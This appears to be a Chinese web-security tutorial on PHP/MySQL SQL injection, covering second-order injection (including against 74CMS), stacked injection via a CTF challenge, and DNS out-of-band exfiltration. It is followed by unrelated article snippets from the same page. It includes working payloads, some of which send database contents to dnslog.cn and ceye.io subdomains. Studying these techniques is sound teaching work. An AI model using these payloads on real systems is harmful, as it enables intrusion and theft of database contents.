045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件
045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件
#知识点:
1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件
演示案例:
➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

#PHP-MYSQL-二次注入-DEMO&74CMS
黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert后进入select或update的功能的代码块(源代码去审)
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)
1、DEMO-用户注册登录修改密码(使用报错回显)


-
注册新用户时,将注入的内容包含在注册的用户名后:
admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#** -
成功注入,并查看数据库,数据库中也存放了响应的注入语句
-
正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号






需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes)


-
在注册用户逻辑中,首先使用
addslashes转义函数解析POST请求中的username, -
在后方插入新用户记录的时候,执行的SQL语句则会变为
INSERT INTO users (username,password) VALUES ('admin\' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456')给username中的单引号添加转义字符\ -
在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入
-
如果不使用,转义函数,则会出现报错
- 报错的原因是:sql注入语句中,提前闭合了单引号,造成后面的密码值无法对应到表中的password列


-
addslashes是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。string addslashes ( string $str ) //参数:`$str` 是要进行转义的字符串。 //返回值:返回转义后的字符串。返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- 零
-
magic_quotes_gpc是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。具体作用如下:
- 自动转义: 当
magic_quotes_gpc启用时,PHP 会在从GET、POST和COOKIE中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号'被转义为\\'。
示例:
// 假设 magic_quotes_gpc 已启用$user_input = "It's a sample input"; // $user_input 变量包含 "It\\'s a sample input"// 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义 - 自动转义: 当
2、CMS-74CMS个人中心简历功能
- 配置并打开网址
- 前端对专业名称有长度限制,选中打开检查修改maxlength="120”值
- 在学校名称和专业名称注入:
aa','fullname'=user()# - 分析源码







#PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等
-
首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句,
# **这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1 # 创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列** SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255)); -
由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行


-
但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:http://192.168.137.1:84/sqli/new.php?**id=1;CREATE TABLE xxx(test VARCHAR(255);**
-
所以不能识别执行,会报错


-
-
但是当php采用
mysqli_multi_query函数接收并执行sql语句的时候- 可以识别执行



1.目标存在SQL注入漏洞:
2.目标未对";"号进行过滤:
目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。
3.目标中间层查询数据库信息时可同时执行多条SQL语句:
在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时
2019强网杯-随便注(CTF题型)
';show databases;
';show tables;
';show columns from1919810931114514;
';select flag from1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
-
';show databases;- 这似乎是尝试显示数据库
-
';show tables;- 类似于第一个,似乎是尝试显示表。
-
';show columns from 1919810931114514;- 另一次尝试从具有特定名称的表中显示列。
-
';select flag from 1919810931114514;- 类似于前一个,试图从表中选择名为’flag’的列。确保表和列存在。
-
由于提示不能使用select等,所以使用动态SQL语句,
- 将想要执行的语句,转换为Hex(16 进制)


-
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;execsql from @a;execute execsql;- 在第一个步骤中,使用**
execsql语句从用户变量@a中执行动态SQL。@a包含一个十六进制字符串,可能代表一个SQL查询语句。** - 在第二个步骤中,使用**
execute语句执行之前准备好的动态SQL,该SQL语句由第一步中的execsql**生成。
- 在第一个步骤中,使用**
- 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心,因为它可能存在安全风险。确保**
@a**的内容是安全且经过正确清理的。
#PHP-MYSQL-带外注入-DEMO&DNSLOG
产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据
0.注入条件:
-
ROOT高权限且支持load_file()
-
**secure-file-priv=**设置→默认关闭,必须添加到MYsql的配置文件my.ini中
-
G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

secure_file_priv是 MySQL 数据库中的一个系统变量,用于限制使用LOAD DATA INFILE和SELECT ... INTO OUTFILE语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。- 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
- 如果没有设置,MySQL 将默认使用空值,表示禁用
LOAD DATA INFILE和SELECT ... INTO OUTFILE。
- 例如,如果
secure_file_priv被设置为f:\\,那么在执行LOAD DATA INFILE或SELECT ... INTO OUTFILE时,只允许读写位于f:\\目录下的文件。
-
如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file(‘F:\\1.txt’),5,6

1.使用平台
http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可
http://www.dnslog.cn


2.带外应用场景:
解决**不回显,反向连接,SQL注入,命令执行,SSRF等**
-
SQL注入:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); **and (select load_file(concat('//',(select database()),'.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc')))** -
查询当前数据库

id=1 and load_file(concat("\\\\",database(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt")) -
查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt")) """ 由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数 **limit 0,1 查询第一个数据库名 limit 1,1 查询第二个数据库名** limit 2,1 查询第三个数据库名 """
-
查询版本号

id=1 and load_file(concat("\\\\",version(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt")) -
查询当前数据库dome01中第一个表名

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt")) """ 由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数 **limit 0,1 查询第一个表名 limit 1,1 查询第二个表名** limit 2,1 查询第三个表名 """ -
查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
-
查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
#CMS-74CMS网址配置






相关文章:
045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件
045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件 #知识点: 1、PHP-MYSQL-SQL注入-二次注入&利用条件 2、PHP-MYSQL-SQL注入-堆叠注入&利用条件 3、PHP-MYSQL-SQL注入-带外注入&利用条件 演示案例:…...
【蓝牙协议栈】【BR/EDR】【AVRCP】蓝牙音视频远程控制协议
1. AVRCP概念 AVRCP(Audio/Video Remote Control Profile):音视频远程控制协议定义了蓝牙设备和 audio/video控制功能通信的特点和过程,另用于远程控制音视频设备,底层传输基于 AVCTP(音视频控制传输协议)。 ➢该 Profile定义了AV/C数字命令控制集。命令和信息通过 AVCT…...
Head First Design Patterns - 单例模式
什么是单例模式 单例模式确保应用中,一个类最多只有一个实例单例模式也提供访问此实例的全局访问点单例模式实现中,使用了一个私有构造器,一个静态方法以及一个静态变量 为什么要用单例模式 java中静态全局变量也能做到被实例化一次 但是…...
Mysql的备份还原
模拟环境准备 创建一个名为school的数据库,创建一个名为Stuent的学生信息表 mysql> create database school; Query OK, 1 row affected (0.00 sec)mysql> use school; Database changed mysql> CREATE TABLE Student (-> Sno int(10) NOT NULL COMME…...
分区表介绍
问题 单表数据量过大,查询的性能通常会变得很低 查询时磁盘的IO次数增加:MySQL的InnoDB引擎使用B树维护索引,一个典型的索引节点大概可以存储60-120个数据记录,一个三层的索引大概可以存储百万条数据。如果订单表增加一个数量级…...
emacs 源码分析(七)
文章目录 emacs源码分析(七)自己动手把emacs的DEFUN宏抠出来 <2024-01-07 周日> emacs源码分析(七) 这DEFUN宏就像胶水一样,它把c代码和emacs-lisp代码给联系起来。但是DEFUN宏看着怪恐怖的有没有!…...
Linux运维-Web服务器的配置与管理(Apache+tomcat)(没成功,最后有失败经验)
Web服务器的配置与管理(Apachetomcat) 项目场景 公司业务经过长期发展,有了很大突破,已经实现盈利,现公司要求加强技术架构应用功能和安全性以及开始向企业应用、移动APP等领域延伸,此时原来开发web服务的php语言已经不适应新的…...
探讨分布式数据库ID生成解决方案
在技术面试中,面试官通常通过挑战应聘者的分布式系统知识来评估其能力。今天,让我们模拟一场面试现场,深入了解关于分布式数据库ID生成的解决方案。 面试官:嘿,小伙子,分布式数据库ID生成解决方案了解吗&a…...
Clickhouse填坑记4:Too many parts问题分析
Clickhouse在进行大数据量同步时,感觉很爽,插入速度非常快,但是,在使用过程中却出现了几次“Too many parts”异常报错,搞得很痛苦,这里记录一下解决过程。 我这边采用的是Flink程序,实时将数据写入ClickHouse,在执行一段时间后,会提示“Too many parts”异常,如下异…...
CertiK CSO Dr. Kang Li 确认出席Hack .Summit() 香港区块链盛会
CertiK CSO Dr. Kang Li 确认将出席由 Hack VC 主办,并由 AltLayer 和 Berachain 联合主办,与 SNZ 和数码港合作,由 Techub News 承办的Hack.Summit() 2024区块链开发者盛会。 Dr. Kang Li 目前担任CertiK首席安全官。他是清华蓝莲花战队启蒙…...
C++ 游戏飞机大战, 字符型的
//#define _CRT_SECURE_NO_WARNINGS 1 用于禁止不安全函数的警告 #include<iostream> #include<stdlib.h> #include<string> #include<conio.h> #include<Windows.h> #include<time.h> #include <graphics.h> using namespace std;…...
用html编写的简易新闻页面
用html编写的简易新闻页面 相关代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document<…...
docker-mysql:5.7安装
1、下载mysql:5.7镜像 [rootlocalhost ~]# docker search mysql (某个XXX镜像名字) [rootlocalhost ~]# docker pull mysql:5.7 按装之前查看一下是否按装过mysql。如果安装过会占用3306端口。 [rootlocalhost ~]# ps -ef | grep mysql 2、简单的安装 [rootlocalhost ~]# d…...
SQLPro Studio:数据库管理的革命性工具 mac版
SQLPro Studio是一款强大的数据库管理和开发工具,它旨在提供高效、便捷和安全的数据库操作体验。无论是数据库管理员、开发人员还是数据分析师,SQLPro Studio都能满足他们在数据库管理、查询、设计和维护方面的需求。 SQLPro Studio mac版软件获取 首先…...
【小沐学QT】QT学习之OpenGL开发笔记
文章目录 1、简介2、Qt QOpenGLWidget gl函数3、Qt QOpenGLWidget qt函数4、Qt QOpenGLWindow5、Qt glut6、Qt glfw结语 1、简介 Qt提供了与OpenGL实现集成的支持,使开发人员有机会在更传统的用户界面的同时显示硬件加速的3D图形。 Qt有两种主要的UI开发方…...
kali安装ARL灯塔(docker)
1、root身份进入容器 ┌──(root㉿Kali)-[~/桌面] └─# su root ┌──(root㉿Kali)-[~/桌面] └─# docker 2、先更新再克隆 ┌──(root㉿Kali)-[~/桌面] └─# apt-get update …...
字节面试分享,请详细介绍为何Http Post发送两次请求
在浏览器中,内容是很开放的,任何资源都可以接入其中,如 JavaScript 文件、图片、音频、视频等资源,甚至可以下载其他站点的可执行文件。 但也不是说浏览器就是完全自由的,如果不加以控制,就会出现一些不可…...
Flink CDC 3.0 Starrocks建表失败会导致任务卡主!
Flink CDC 3.0 Starrocks建表失败会导致任务卡主! 现象 StarRocks建表失败,然后任务自动重启,重启完毕后数据回放,jobMaster打印下面日志后,整个任务会卡主 There are already processing requests. Wait for proce…...
基于 LVGL 使用 SquareLine Studio 快速设计 UI 界面
目录 简介注册与软件获取工程配置设计 UI导出源码板级验证更多内容 简介 SquareLine Studio 是一款专业的 UI 设计软件,它与 LVGL(Light and Versatile Graphics Library,轻量级通用图形库)紧密集成。LVGL 是一个轻量化的、开源的…...
Selenium IDE插件录制网页,解放双手
1、 国内下载地址 https://www.crx4chrome.com/crx/77585/ ,这个网络正常基本可以下载,目前最新版本是3.17.2。 点击Crx4Chrome下载。下载后的文件名称是:mooikfkahbdckldjjndioackbalphokd-3.17.2-Crx4Chrome.com.crx。 2、 安装 直接打开…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...
生成 Git SSH 证书
🔑 1. 生成 SSH 密钥对 在终端(Windows 使用 Git Bash,Mac/Linux 使用 Terminal)执行命令: ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" 参数说明: -t rsa&#x…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
3-11单元格区域边界定位(End属性)学习笔记
返回一个Range 对象,只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意:它移动的位置必须是相连的有内容的单元格…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...
Springboot社区养老保险系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,社区养老保险系统小程序被用户普遍使用,为方…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...
